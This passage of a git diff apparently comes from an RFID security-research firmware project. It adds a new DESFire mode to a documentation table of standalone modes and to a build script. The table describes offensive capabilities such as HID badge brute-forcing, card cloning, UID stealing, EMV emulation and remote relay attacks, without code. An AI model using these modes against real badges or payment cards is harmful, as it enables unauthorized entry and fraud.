standalone mode - tharexde -| HF_14ASNIFF | 14a sniff storing to flashmem - Micolous -| HF_14BSNIFF | 14b sniff - jacopo-j -| HF_15SNIFF | 15693 sniff storing to flashmem - Glaser -| HF_15SIM | 15693 simulator - lnv42 -| HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal -| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito -| HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins -| HF_COLIN | Mifare ultra fast sniff/sim/clone - Colin Brigato -| HF_CRAFTBYTE | UID stealer - Emulates scanned 14a UID - Anze Jensterle -| HF_DOEGOX_AUTH0 | UL-C / UL-AES unlocker - Philippe Teuwen (doegox) -| HF_ICECLASS | iCLASS 4-1 mode sim/read & dump/loclass/glitch & config to flashmem - Iceman1001 -| HF_LEGIC | HF Legic Prime Read/Store/Sim standalone - uhei -| HF_LEGICSIM | HF Legic Prime Simulate standalone - uhei -| HF_MATTYRUN | Mifare sniff/clone - Matías A. Ré Medina -| HF_MFCSIM | Simulate Mifare Classic 1k card storing in flashmem - Ray Lee -| HF_MSDSAL | EMV Read and emulation - Salvador Mendoza -| HF_REBLAY | 14A relay over BT - Salvador Mendoza -| HF_ST25_TEAROFF | Store/restore ST25TB tags with tear-off for counters - SecLabz -| HF_TCPRST | IKEA Rothult ST25TA, Standalone Master Key Dump/Emulation - Nick Draffen -| HF_TMUDFORD | Read and emulate ISO15693 card UID - Tim Mudford -| HF_UNISNIFF | Combined 14a/14b/15 sniffer with runtime selection & extra save options -| HF_YOUNG | Mifare sniff/simulation - Craig Young -| HF_EMVPNG | EMV Read and emulation - Davi Mikael (Penegui) -| DANKARMULTI | Standalone mode that bakes together multiple other standalone modes. - dankar +| STANDALONE | DESCRIPTION | +|------------------|----------------------------------------| +| | No standalone mode +| LF_EM4100EMUL | LF EM4100 simulator standalone mode - temskiy +| LF_EM4100RSWB | LF EM4100 read/write/clone/brute mode - Monster1024 +| LF_EM4100RSWW | LF EM4100 read/write/clone/validate/wipe mode - Łukasz "zabszk" Jurczyk +| LF_EM4100RWC | LF EM4100 read/write/clone mode - temskiy +| LF_HIDBRUTE | HID corporate 1000 bruteforce - Federico dotta & Maurizio Agazzini +| LF_HIDFCBRUTE | LF HID facility code bruteforce - ss23 +| LF_ICEHID | LF HID collector to flashmem - Iceman1001 +| LF_MULTIHID | LF HID 26 Bit (H1031) multi simulator - Shain Lakin +| LF_NEDAP_SIM | LF Nedap ID simulator +| LF_NEXID | Nexwatch credentials detection mode - jrjgjk & Zolorah +| LF_PROXBRUTE | HID ProxII bruteforce - Brad Antoniewicz +| LF_PROX2BRUTE | HID ProxII bruteforce v2 - Yann Gascuel +| LF_SAMYRUN (def) | HID26 read/clone/sim - Samy Kamkar +| LF_SKELETON | standalone mode skeleton - Iceman1001 +| LF_THAREXDE | LF EM4x50 simulator/read standalone mode - tharexde +| HF_14ASNIFF | 14a sniff storing to flashmem - Micolous +| HF_14BSNIFF | 14b sniff - jacopo-j +| HF_15SNIFF | 15693 sniff storing to flashmem - Glaser +| HF_15SIM | 15693 simulator - lnv42 +| HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal +| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito +| HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins +| HF_COLIN | Mifare ultra fast sniff/sim/clone - Colin Brigato +| HF_CRAFTBYTE | UID stealer - Emulates scanned 14a UID - Anze Jensterle +| HF_DOEGOX_AUTH0 | UL-C / UL-AES unlocker - Philippe Teuwen (doegox) +| HF_DOEGOX_COMMIT | DESFire suspended commit - Philippe Teuwen (doegox) +| HF_ICECLASS | iCLASS 4-1 mode sim/read & dump/loclass/glitch & config to flashmem - Iceman1001 +| HF_LEGIC | HF Legic Prime Read/Store/Sim standalone - uhei +| HF_LEGICSIM | HF Legic Prime Simulate standalone - uhei +| HF_MATTYRUN | Mifare sniff/clone - Matías A. Ré Medina +| HF_MFCSIM | Simulate Mifare Classic 1k card storing in flashmem - Ray Lee +| HF_MSDSAL | EMV Read and emulation - Salvador Mendoza +| HF_REBLAY | 14A relay over BT - Salvador Mendoza +| HF_ST25_TEAROFF | Store/restore ST25TB tags with tear-off for counters - SecLabz +| HF_TCPRST | IKEA Rothult ST25TA, Standalone Master Key Dump/Emulation - Nick Draffen +| HF_TMUDFORD | Read and emulate ISO15693 card UID - Tim Mudford +| HF_UNISNIFF | Combined 14a/14b/15 sniffer with runtime selection & extra save options +| HF_YOUNG | Mifare sniff/simulation - Craig Young +| HF_EMVPNG | EMV Read and emulation - Davi Mikael (Penegui) +| DANKARMULTI | Standalone mode that bakes together multiple other standalone modes. - dankar By default `STANDALONE=LF_SAMYRUN`. diff --git a/tools/build_all_firmwares.sh b/tools/build_all_firmwares.sh index 256f1c764..091afa270 100755 --- a/tools/build_all_firmwares.sh +++ b/tools/build_all_firmwares.sh @@ -32,7 +32,7 @@ mv bootrom/obj/bootrom.elf "$DEST/PM3BOOTROM.elf" # cf armsrc/Standalone/Makefile.hal STANDALONE_MODES=(LF_SKELETON) STANDALONE_MODES+=(LF_EM4100EMUL LF_EM4100RSWB LF_EM4100RSWW LF_EM4100RWC LF_HIDBRUTE LF_HIDFCBRUTE LF_ICEHID LF_MULTIHID LF_NEDAP_SIM LF_NEXID LF_PROXBRUTE LF_PROX2BRUTE LF_SAMYRUN LF_THAREXDE) -STANDALONE_MODES+=(HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_DOEGOX_AUTH0 HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG) +STANDALONE_MODES+=(HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_DOEGOX_AUTH0 HF_DOEGOX_COMMIT HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG) STANDALONE_MODES+=(DANKARMULTI) STANDALONE_MODES_REQ_BT=(HF_CARDHOPPER HF_REBLAY) STANDALONE_MODES_REQ_SMARTCARD=()